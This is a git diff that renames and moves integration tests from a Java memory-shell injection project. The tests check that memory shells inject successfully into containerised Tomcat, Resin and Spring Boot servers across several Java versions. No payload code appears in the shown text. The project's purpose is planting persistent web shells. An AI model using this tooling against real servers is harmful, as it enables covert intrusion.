a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java index 692a2009..64edb03d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin318ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.resin; +package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Resin318ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java index ccc512c8..f677813e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4058ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.resin; +package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Resin4058ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java index 1085863d..ef5952a3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin4067ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.resin; +package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class Resin4067ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java index 84e81df3..abba403d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebflux; +package com.reajason.javaweb.integration.memshell.springwebflux; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -24,7 +24,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile; import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -66,7 +66,7 @@ public class SpringBoot2WebFluxContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java index c290f96f..341d7519 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebflux; +package com.reajason.javaweb.integration.memshell.springwebflux; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -24,7 +24,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.neoGeorgDockerfile; import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -64,7 +64,7 @@ public class SpringBoot3WebFluxContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java index 89cc6af6..734dadc8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot1ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebmvc; +package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -70,7 +70,7 @@ public class SpringBoot1ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java index 615b122f..1b2b7663 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebmvc; +package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,7 +72,7 @@ public class SpringBoot2ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); } public static String getUrl(GenericContainer container) { @@ -100,6 +100,6 @@ public class SpringBoot2ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("tomcatCasesProvider") void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java index 0c9627da..71abb6ed 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2JettyContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebmvc; +package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,7 +72,7 @@ public class SpringBoot2JettyContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); } public static String getUrl(GenericContainer container) { @@ -98,6 +98,6 @@ public class SpringBoot2JettyContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("jettyCasesProvider") void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java index ba8cd281..9e46ef79 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebmvc; +package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,7 +72,7 @@ public class SpringBoot2UndertowContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); } public static String getUrl(GenericContainer container) { @@ -98,6 +98,6 @@ public class SpringBoot2UndertowContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("jettyCasesProvider") void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java index 2188c14d..fa2f5fbf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot2WarContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebmvc; +package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,7 +69,7 @@ public class SpringBoot2WarContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); } static Stream tomcatCasesProvider() { @@ -89,6 +89,6 @@ public class SpringBoot2WarContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("tomcatCasesProvider") void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index 05ebb717..a796bd9e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.springwebmvc; +package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -70,7 +70,7 @@ public class SpringBoot3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container, python); } public static String getUrl(GenericContainer container) { @@ -98,6 +98,6 @@ public class SpringBoot3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("tomcatCasesProvider") void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index 8143fa52..55b15cab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -74,6 +74,6 @@ public class Tomcat10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 694850dc..18deebec 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -75,6 +75,6 @@ public class Tomcat11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index 81a775d4..530d2b56 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -76,6 +76,6 @@ public class Tomcat11JRE21ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index e61cf730..1744ac47 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -75,6 +75,6 @@ public class Tomcat5ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 57a1ee9d..2d71e991 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -73,6 +73,6 @@ public class Tomcat6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } \ No newline at end of file diff --git 